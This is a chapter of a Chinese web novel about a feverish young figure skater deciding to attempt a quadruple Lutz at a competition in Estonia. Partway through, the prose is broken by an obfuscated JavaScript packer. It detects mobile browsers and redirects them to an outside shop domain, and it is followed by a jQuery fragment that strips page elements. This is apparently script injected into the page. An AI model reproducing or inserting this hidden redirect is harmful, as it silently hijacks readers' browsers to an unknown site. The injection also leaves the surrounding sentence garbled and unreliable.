“带病比赛,没有你想的那么简单,不是咬咬牙就能坚持的。”
冯佳薇话说得圆缓,也没把话说死,毕竟这事非同小可,还是得尊重一下孩子的意见。
余穗抱着膝盖坐在窗台边,望着底下车水马龙,半晌道:“我知道。”
不到十分钟,葛敏的电话就打过来了,她近日身体不适,刚从医院复诊回来,人还在出租车上,语气有显而易见的疲倦,但依旧干脆利落。
“小穗,只有自己才对身体最了解,不要撒谎,也不要逞强,你真的确定自己可以吗?”
葛敏很清楚余穗的心态,已经千辛万苦到了这一步,放弃也未免太可惜,无论如何也要咬牙坚持下去。
余穗也清楚。
自由滑四分钟七个跳跃,她健康的时候滑下来尚且气喘吁吁,更不要说大病未愈仓促上阵,能不能撑住、会不会倒在冰面上,她心里都没底。
但余穗就是有一种迫切感,困在公交亭里看着死亡步步必近,恍然惊觉自己不甘心的追悔莫及,她不想、也不会再去面对一次。机会不是每一次都有,世界上也没有什么来日方长,命不由人。
她点头:“我知道。”
葛敏知道她的决心,没有再劝。
反倒轮到向漪犹豫不定起来了,原先她觉得问题不大,当年练舞的时候也常生病,咬咬牙也能上台表演,知道余穗不想退赛的时候还笑着对余宏哲说你女儿像我。可从视频里看见余穗苍白的脸色后,竟被吓了一跳。
“怎么了?”余宏哲问,“情况不妙?要不过去看一眼?”
他关掉电脑,拿手机想要订机票。
“别乌鸦嘴。”向漪白了丈夫一眼,“早说了我一起过去,你非说我去了也是没用,现在好了吧?”
余宏哲沉默片刻:“其实现在去也没用。”
向漪觉得余宏哲这人光会说风凉话,又横他一眼:“订票啊,咋不订?”
“没有直飞爱沙尼亚的飞机。”余宏哲安静地说,“得先飞北京,再转赫尔辛基,一套下来得四十五小时,你到那比赛都结束一整天了,不如去机场接她呢。”
向漪不知道该说什么,焦躁地在客厅里走了几圈,金子享用完夜宵,亲昵地走过来蹭她的裤脚,小猫半透明的爪子尖利,一不留神就勾了丝。
向漪更烦了,却也不好对只小猫发脾气,只好自己挪开,埋头给冯佳薇打电话,又无人接听,这么来来回回打了几个,江准回来了。
自从他住校后回家的频率并不多,余宏哲未免好奇,多问了一句。
“学校有事业编考试,”江准简单解释了几句,“要占用教室。”
向漪懒得管:“你把金子抱走,我有事没空陪它玩。”
江准蹲下去朝金子招手,金子从善如流地跑过来,它对江准更熟悉,没一会就被撸得舒服地打起呼噜。
那边的向漪终于接通了电话。
“喂?冯教练,是我是我,小穗呢?行,我跟她说几句。”
金子抱住江准的一只手指,牙尖轻轻地啃咬,试图吸引他的注意力。
“小穗,怎么样了?还烧着吗?”
向漪的语气低了下去:“觉得有好转?没必要那么快做决定,等明天起来后,再看看情况。”
“要听教练的话,吃药不能嫌苦,知道吗?好,好好休息,再见。”
金子终于被江准抱进卧室里,它翻过肚子,用柔软的毛发轻轻蹭那只修长的手。
江准收回手,给余穗发消息。
“听向阿姨说你生病了,要紧吗?”
不出意料,余穗没回。
江准等了会,手机有信息弹出,却是杨少熙在小群里转发骚扰信息,他原不打算看的,但陈芃芃同桌迅速@了陈芃芃,紧接着陈芃芃冒出一串儿的问号。
[?真的假的?]
[刚做完英语阅读连错十道,别刺激我的心灵。]
江准便看了一眼,那是条帖子,说的是余穗似乎生病了,可能会退赛。
评论区议论纷纷,但大多都认为是无端臆测,在中国圈滑丝乱成一锅粥时,江准收到了余穗的回复。
简洁明了。
“刚拿到手机。”
“说实话,我不清楚,明天比赛就知道了。”
“我妈咪会跟你说话?太阳打西边出来了?”
——
次日早晨,余穗出现在合乐视频里,一张脸蛋儿红红的,但op视频糊得像座机拍的,一时半会不知是生病还是化妆。
评论区首评第一,便是“完蛋了,看起来像是真的病了,我滑向来没有假消息。”
余穗滑完了整曲,但只完成了前三个跳跃,紧接着靠着挡板揩鼻涕。
这当然是一次质量很差的合乐,但她能坚持下来已经算胜利了,冯佳薇一边给她收拾纸巾,一边说:“省点力气,多休息,没事儿。”
余穗浑身都是烫的,朝冯佳薇嘀嘀咕咕:“我想躺冰上打滚,我肌肉都是僵的。”
“下冰吧,”冯佳薇说,“我去给你找瓶冰水敷一敷。”
余穗便在休息室乖乖等着,过了一会,听见开门声,她抬起头,姜慧元走了进来,手里拿着冰袋。
“听说你在找冰块。”她一边说话一边抬手比划,“我这里有一些,给你用。”
说着她蹲下来,用冰袋按住了余穗的小腿:“你今天早上表现很差哦,教练说你生病了。”
余穗顺手接过冰袋,忧愁地叹了口气。
姜慧元腾出手在口袋里掏啊掏,掏出一串亮晶晶的水晶链:“这是奉恩寺的手链,我自己去求的,现在送给你…加油,记住clean全靠天,炸掉是常态,放平常心哦。”
余穗攥着手串感动万分地望着她,只是词穷于语言不知道说什么好,她们两人虽然不同国籍、说着不同语言,甚至还有竞争关系,但此刻,就像共同打拼的战友…
姜慧元起身拍拍她的肩膀:“下午好好比,我要上两个3A,或许能超过你的名次呢。”
余穗的满腔感动瞬间化作无语凝噎。
“谢谢你的冰块,”她礼貌地说,“我突然觉得自己能跳四周跳了。”
“…”姜慧元不说话,忧心忡忡地在她小腿那扫了一圈,转身走了,并且礼貌地同冯佳薇打了个招呼。
“四周跳?”冯佳薇靠在门边,一双眼睛瞪得溜圆,“余穗,你不要讲大话。”
“没有,”余穗敷完小腿又去敷额头,怏怏地,“逗她玩儿呢,我指不定连3A都跳不动,累死了,现在我得去睡一觉。”
余穗这一觉,就睡到了开赛前一个小时,冯佳薇其实并不想打搅她,可再不醒,时间就来不及了。
余穗坐在镜子前发呆,冯佳薇正给她扎马尾辫,忽然听见她慢吞吞地说:“教练,这个张脸现在挺好的,不用化了。”
她说得也没错,刚睡醒的人眼睛总是格外水润,脸颊也烧得白里透红,有种别样的美丽,但冯佳薇还是给她上了粉底,薄薄的一层,脸颊的红晕依旧是透了出来。
余穗吸吸鼻涕,热身、穿冰鞋、六练。
她惊奇地发现,一通高烧下来,她的心境已经完全平和,半点也察觉不到紧张,六分钟练习里,她甚至落了一个4Lz。
想跳四周跳的心又蠢蠢欲动。
戈蒂耶娃和姜慧元比赛的十来分钟里,余穗一边儿踱步一边琢磨她那个四周跳。
3A不能失误,一定要放在第一个。
再试试4Lz,就算失败,只要没被降组,就可以用一个三周跳替换掉一个两周跳,稳赚不赔。
如此一来,她的配置就可以从3A,3Lz+3T,3F,3F+2A+2A,3Lo,3S+2T,3Lz改变为3A,4Lz
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17589247|202315||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,3Lz+3T,3F,3F+2A+2A,3S+3T,3Lo。
足足多出近十分的bv。
如果失败,也不过是把最后一个连跳改回来而已。
余穗越想越觉得可行,她在走廊里来回踱步,冯佳薇拧着眉头叫住了她。
“想什么呢?”
余穗脚步一顿,颇为心虚地缩了缩脖子。
冯佳薇毕竟带了她也有一年多,瞥一眼就知道这小姑娘的脑袋瓜在想什么,心里好笑,又很是无奈:“小穗,我知道你的能力,但咱也得得考虑现实,不要觉得赌一把就可以,你的身体没办法做到的,今天最重要的任务,就是把整套顺下来,不要想东想西,知道吗?”
余穗的眼睛很漂亮,清澄澄地,但当她把下巴昂起来,让灯光照亮瞳孔时,就能发现她的眼睛其实带着点琥珀色的,像小猫一样,也像小猫一样不听话。
冯佳薇无力地想,也许只有葛敏来才知道怎么治住她,就连向漪,也拿她亲生女儿没办法。
余穗垂下睫毛,恢复成乖巧的模样:“知道了,教练。”
冯佳薇并不能说什么,赛场上,余穗有对自己的身体的绝对掌控权,她现在能做到的,就是安定余穗的心。
她蹲下来帮余穗拍打小腿,松弛肌肉,余穗望向场内的姜慧元,她已经完成了两个3A,现在只剩下最后一个跳跃3Lo。
双腿交叉呈“x”形,右后外刃发力起跳,漂亮的Lo跳,就像弹簧一样劲劲的,但姜慧元进跳时没踩稳,轴心瞬间偏移,身体在半空中便泄了力气,原本打算转的2圈,变成了两圈,甚至是“
直接降组成1Lo,5.39的bv变成0.55,甚至倒扣0.09goe。
但除了这点小瑕疵,这场自由滑可以说是姜慧元本赛季以来发挥最好的一次,技术分64.81,内容分57.64,自由滑得分122.45,总分184.96,目前暂列第一。
如果余穗保持原有配置,那么姜慧元必然会超过她。
师徒二人对视一眼。
“去吧,”冯佳薇虽然不知道余穗打算跳什么,但神情比她还要信心满满,“只要你能滑下来,我下场就给你买冰淇淋!”
余穗笑了,她朝冯佳薇点点头,滑到冰场中央,下意识摸了摸手上的玛瑙串,深深吸一口气。
IclosemyeyesandIcansee,
Theworldthat'swaitingupforme.
冰刀唰唰滑过冰面,第一个跳跃,阿克塞尔三周,余穗体力充沛,卯足了劲跳,稳稳落冰,看上去没有任何问题。
只有余穗知道她的心跳快得不正常,这是在告诉她,身体已经有点儿累了。
这种情况一般是在第四五个跳跃后才会出现,很不幸,她累得太早了。
下一个跳跃,余穗在压步中做了两次深呼吸,冰场上很冷,而她为了更好地进入跳跃滑得飞快,冷空气不住地往肺里蹿,第四个压步后,她觉得速度足够了,便屏住呼吸,左外刃滑行,准备起跳。
音乐渐渐变弱,在为高音做准备。
一行鼻涕缓缓流下来,痒。
余穗下意识地,用力一吸鼻子。
——哧,咻!
场馆很安静,吸鼻涕的声音响彻云霄。
紧接着冰刀离地,音乐卡点进入高潮。
空中旋转四周,起跳高度不够,周数不足,落冰足扭了半圈,万幸,没有摔倒。
余穗脚踝生痛,她凭着肌肉记忆滑出,只觉得场馆一片寂静,只有风声呜呜响得脑壳疼。
成功了吗?她需要修改最后一个连跳配置吗?
她滑过挡板,余光里看见一面鲜红的旗帜,在不断地舞动,挺熟悉的一面旗子。
随后,余穗的耳朵里终于灌进了雷鸣般的掌声。